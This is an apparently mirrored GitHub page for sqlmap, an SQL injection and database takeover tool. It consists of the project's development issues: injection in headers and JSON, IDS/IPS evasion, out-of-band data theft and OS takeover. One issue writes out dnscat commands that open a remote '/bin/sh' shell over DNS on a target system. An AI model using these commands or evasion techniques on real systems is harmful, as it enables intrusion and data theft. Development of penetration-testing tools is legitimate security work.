GithubHelp home page GithubHelp logo

sqlmapproject / sqlmap Goto Github PK

View Code? Open in Web Editor NEW
30.6K 30.6K 5.5K 82.02 MB

Automatic SQL injection and database takeover tool

Home Page: http://sqlmap.org

License: Other

Python 98.23% C 0.66% Perl 0.10% C++ 0.08% Shell 0.60% PLpgSQL 0.03% TSQL 0.02% HTML 0.27% PLSQL 0.02%
database detection exploitation pentesting python sql-injection sqlmap takeover vulnerability-scanner

sqlmap's People

Contributors

arjunv avatar bdamele avatar daremon avatar flsf avatar getcode2git avatar gh05t-hunter5 avatar guinslym avatar igoreliasm avatar jakxx avatar jasonsun1347 avatar jekil avatar mdeous avatar meatballs1 avatar neargle avatar ricterz avatar roarene317 avatar rohitkumarankam avatar samogot avatar shelld3v avatar shipcod3 avatar stamparm avatar stefanpejcic avatar syedafzal avatar tanaydin avatar tomahock avatar tree-chtsec avatar trintragula avatar viniciusmarangoni avatar za avatar zellerin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sqlmap's Issues

Support test and exploit in any header

Add support to test and exploit SQLi in any header of the request.
This requires some refactoring and a layer of abstraction when parsing params/values.

Update documentation

the newly added switches/options are not documented in the manual.
Examples: --hex, --host, --force-ssl, --titles, --check-tor, ....

But they are visible using the -h option so its no big deal ;)

This is related to issue #46.

Mechanism to re-authenticate when session expires

Design and implement a mechanism to identify a session expire (eg. 302 to /login page, not Set-Cookie issued, etc) and automatically re-authenticate given the raw authentication request from the user.

Update PostgreSQL takeover support

PostgreSQL 9.0, 9.1 and 9.2 are out since a while now. We need to compile UDFs for those versions too, both 32-bit and 64-bit on Linux and Windows.

Move as much statements as possible to procs/

We have a clean mechanism to handle custom DBMS specific statements when they do not fit in xml/queries.xml, we should rather use it and remove all hard-coded custom statements from the source code.

Closely related to issue #33.

Improve site crawling

Possible enhancements to --crawl are:

  • Parse forms (maybe integrate with clientform library).
  • Perform POST requests with bogus data defined in a text file in txt/.

Out-of-band DNS channel for OS takeover

We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.

DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.

Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen

Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"

Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.

Improve tamper scripts structure

  • Pass parameter name to tamper script.
  • Re-consider passing headers to tamper script.
  • Further automation of selection based on identified web server, web api, etc.. which requires some more global vars set in tamper scripts.
  • **kwargs "support"?

Discuss and implement solution for DBMS specific detection/enumeration limitations

Discuss and implement solution for DBMS specific detection/enumeration limitations:

  • Firebird needs a proper string unescaping - but we don't know (in time of testing) the version of the backend firebird, hence we don't know if the unescaping meant for the >=2.1 will work on it.
  • IBM DB2 needs the UNION payload with exact datatypes to detect/exploit UNION query SQLi - NULL does not work, one number for each column neither if the data type is varchar, etc.

Support test and exploit in JSON data

Add support to automatically parse JSON data (eg. {"prefixText":"abc","count":20}) and be able to test and exploit SQLi in each JSON param's value.

no password cracking in batch mode

It would be great if you can disable the password cracking feature with another parameter when running in batch mode.
Sometimes you only want to extract the data and using the --batch switch is the only way to extract a big database in the background.

Support for different queries based on DBMS versions

Adapt dbms modules/methods/xml queries file for usage with different versions of the dbms.

For instance, kb.dbmsVersion is already used within MSSQL to determine how to re-enable the xp_cmdshell procedure. This will also be useful for Firebird and in general replaces the ugly "query"/"query2" used in the queries.xml with some proper "minver"/"maxver" that specify which query apply to which dbms version.

To be worked closely to ticket #24.

Implement out-of-band for data fetching

Recently we implemented DNS for data fetching. The objective is to implement more out-of-band techniques for data fetching:

  • HTTP requests (Oracle UTL_HTTP)
  • openrowset (to replicate dbms remotely on MSSQL)
  • db_link() (to replicate dbms remotely on PgSQL)

Some relevant materials:

Problem with -g --random-agent

"Looks like sqlmap has an issue while using --random-agent with -g argument as it always returns "unable to find results for your Google dork expression" though it works fine without suppling --random-agent."

Support to run a query as another DB user

When stacked queries is supported use OPENROWSET (MSSQL) and dblink() (PostgreSQL) to run a statement as a different user (e.g. higher privileged user for instance after a password cracking attack).

The same library code can be used in ticket #31.

Improve IDS/IPS evasion support

  • Add more tamper scripts (e.g. ability to test for addslahes bypasses using big5 or GBK characters).
  • Suggest tamper scripts in due course following fingerprint of technology, back-end DBMS, etc.

References:

Refactor plugins folder and code

Adding full support for another dbms is a pain in the ass 'cause around the whole code there's stuff like if kb.dbms == "MySQL" [...] elif kb.dbms in ( "Oracle" etc.. it would be very intelligent to remove this dbms specific stuff in libs like lib/core/agent.py (grep for kb.dbms, you'll see) and have it ALL would be nice in plugins/dbms//language.py or similar so code would be much easier to maintain and most important far easier to add a new dbms.

File transfer via TFTP, FTP and HTTP

In both --file-upload and --os-pwn provide the user with the option to download onto the DBMS filesystem the payload stager (or shellcodeexec executable) via HTTP/TFTP/FTP server from the attacker (or a staged third-party server) machine rather than uploading it via SQL payload's file write methods.

Port the same concept eventually to --file-download too.

Libraries:

Improvement of UNION query detection and exploitation

Quoting a user:

The problem is that vulnerable list.php script limits number of outputted items --- it always show only first 10 items omitting others on PHP level (without using MySQL LIMIT clause), so sqlmap incorrectly detects number of columns, number of rows etc --- always limiting number of items to 10.

I looked in documentation and didn't found any options for splitting enumeration requests on bunch of requests limited by some value of outputted items (e.g. query all table rows selecting by 10 rows at single query). Can you add such options or tell me how can I achieve my goal with current version of sqlmap (I'm using trunk version)?

Another suggestion:

Also I want to propose checking if all of requested items was received by adding extra UNION SELECT at end with some end mark and checking is that end mark is received. I don't know details of sqlmap implementation so not sure is my proposition is correct.

Second order SQL injection

Example:

Send your requests to /post.php but look at/fetch /index.php after you submitted to /post.php for detection/exploitation

Web server trimming last char of output (union injection)

There are noticed cases when last character of output is trimmed:
[15:02:01] [INFO] testing MySQL
[15:02:03] [WARNING] reflective value(s) found and filtering out
[15:02:03] [WARNING] possible server trimmed output detected (due to its length): 1:ugd-->

[15:02:03] [WARNING] the back-end DBMS is not MySQL [15:02:03] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system. Support for this DBMS will be implemented at some point

In given case kb.chars.stop was :ugd: but at the output it appeared as :ugd because of last character removal (in web application logic). Detect this and patch it.

Real-time reporting

Both for attacker (after the DBMS fingerprint output) and for developer/DBA (at the end, just before the "shutting down" message).
Report also about known vulnerabilities based on DBMS exact version (consider backporting!) and known Metasploit exploits.

Out-of-band takeover features need to work also on Windows

Now that Metasploit properly runs on Windows too (without cygwin), we definitely need to support all functionalities on Windows too, if possible. Hence, --os-pwn/--os-smbrelay/--os-smb code need to be reviewed: metasploit.py, subprocessng.py and icmpsh*.py.

Refactor xml/queries.xml

  • Move simpleConcatQuery() function to xml/queries.xml
  • Move getDelayQuery() function to xml/queries.xml once issue #154 is worked too as the time delay check/queries depends upon the version on some DBMSes.

To be worked on closely to ticket #23.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.